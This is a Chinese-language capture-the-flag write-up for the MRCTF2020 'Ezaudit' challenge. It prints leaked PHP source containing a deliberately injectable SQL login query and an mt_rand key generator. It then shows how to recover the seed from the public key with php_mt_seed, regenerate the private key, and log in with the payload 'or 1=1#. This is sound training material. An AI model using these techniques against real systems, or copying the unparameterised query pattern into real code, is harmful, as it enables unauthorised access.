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[MRCTF2020]Ezaudit2 min read

存在源码泄露(www.zip):

<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $Private_key = $_POST['Private_key'];
    if (($username == '') || ($password == '') ||($Private_key == '')) {
        // 若为空,视为未填写,提示错误,并3秒后返回登录界面
        header('refresh:2; url=login.html');
        echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
        exit;
}
    else if($Private_key != '*************' )
    {
        header('refresh:2; url=login.html');
        echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
        exit;
    }

    else{
        if($Private_key === '************'){
        $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 
        $link=mysql_connect("localhost","root","root");
        mysql_select_db("test",$link);
        $result = mysql_query($getuser);
        while($row=mysql_fetch_assoc($result)){
            echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
        }
    }
    }

} 
// genarate public_key 
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

  //genarate private_key
  function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
  $Public_key = public_key();
  //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr's private_key???

访问login.html,发现除了用户名和密码之外,还需要私钥。

这道题和GWCTF 2019 WEB-枯燥的抽奖类似,

首先要用公钥去还原种子,将伪随机数转换成php_mt_seed可以识别的数据:

str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2='KVQP0LdJKRaV3n9D'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):  
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print(res)

运行后得到这一串:

36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61

丢到php_mt_seed里:

求得私钥:

(php在线运行:https://www.w3cschool.cn/tryrun/runcode?lang=php

<?php
mt_srand(1775196155);

function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
}

//genarate private_key
function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
}
$Public_key = public_key();
$private = private_key();
echo $Public_key . "<br>";
echo $private;
?>

运行后得到私钥:XuNhoueCDCGc

观察代码23行:

$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';

这里存在sql注入,可以尝试万能密码‘or 1=1#,登录成功获得flag。